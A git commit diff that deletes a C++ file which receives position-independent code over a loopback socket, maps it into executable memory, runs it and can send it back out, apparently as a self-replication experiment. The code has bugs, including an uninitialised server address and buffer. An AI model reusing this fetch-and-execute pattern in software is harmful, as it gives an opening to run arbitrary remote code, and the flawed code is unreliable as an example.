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cleanup

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JoYo 3 years ago
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d8e23ad786
  1. 185
      generation.cpp

185
generation.cpp

@ -1,185 +0,0 @@
/*
@file generation.cpp
*/
#include <cstdlib>
#include <cstring>
#include <iostream>
#include <stdexcept>
#include <arpa/inet.h>
#include <errno.h>
#include <malloc.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <unistd.h>
#define MAX_LEN 1024
#define PORT 5000
using namespace std;
class Generation
{
struct sockaddr_in server;
int sock;
uint8_t *buffer;
public:
Generation(void);
~Generation(void);
int gen(void);
int reproduce(void *pic_address, int pic_size);
};
string b2a_hex(uint8_t *buffer, int len)
{
char const hex_char[16] = {'0', '1', '2', '3', '4', '5', '6', '7',
'8', '9', 'A', 'B', 'C', 'D', 'E', 'F'};
string ascii;
for (int iter = 0; iter < len; iter++)
{
const char character = buffer[iter];
ascii.append("\\x");
ascii.append(&hex_char[(character & 0xF0) >> 4], 1);
ascii.append(&hex_char[character & 0xF], 1);
}
return ascii;
}
Generation::Generation(void)
{
cout << __func__ << "\n";
struct sockaddr_in server;
server.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
server.sin_family = AF_INET;
server.sin_port = htons(PORT);
sock = socket(AF_INET, SOCK_STREAM, 0);
}
Generation::~Generation(void)
{
cout << __func__ << "\n";
if (sock)
{
close(sock);
}
if (buffer)
{
free(buffer);
}
}
int Generation::reproduce(void *pic_address, int pic_size)
{
cout << __func__ << "\n";
int status = 0;
printf("{\"address\":\"%p\",\"size\":\"%d\"}\n", pic_address, pic_size);
status = connect(sock, (struct sockaddr *)&server, sizeof(server));
status = write(sock, pic_address, pic_size);
status = 1;
return status;
}
int Generation::gen(void)
{
cout << __func__ << "\n";
int status = 0;
while (1)
{
status = connect(sock, (struct sockaddr *)&server, sizeof(server));
if (0 == status)
{
cout << "connected [" << status << "]\n";
break;
}
}
buffer = (uint8_t *)calloc(1, MAX_LEN);
while (1)
{
status = read(sock, buffer, MAX_LEN);
if (0 <= status)
{
cout << "recv len [" << status << "]\n";
break;
}
}
cout << "recv\n" << b2a_hex(buffer, sizeof(int)) << "\n";
int child_len = *(int *)buffer;
cout << "seed len [" << child_len << "]\n";
int prot = (PROT_READ | PROT_WRITE | PROT_EXEC);
int flags = (MAP_ANON | MAP_PRIVATE);
uint8_t *pic_buffer = (uint8_t *)mmap(NULL, child_len, prot, flags, -1, 0);
if (MAP_FAILED == pic_buffer)
{
throw runtime_error("mmap fail");
}
int iter = child_len;
while (1)
{
status = read(sock, buffer, MAX_LEN);
if (!status)
{
continue;
}
memcpy(&pic_buffer[iter - child_len], buffer, status);
if ((status + iter) >= child_len)
{
break;
}
iter -= status;
}
void (*pic_function)(void *, int, void *);
pic_function = reinterpret_cast<void (*)(void *, int, void *)>(pic_buffer);
cout << "child spawn\n";
pic_function(pic_buffer, child_len, (void *)&Generation::reproduce);
status = 1;
return status;
}
int main(int argc, const char **argv)
{
cout << __func__ << "\n";
pid_t process_id;
int status = 0;
process_id = fork();
if (0 == process_id)
{
Generation *gen = new Generation();
status = gen->gen();
if (status)
{
return 1;
}
}
return 0;
}
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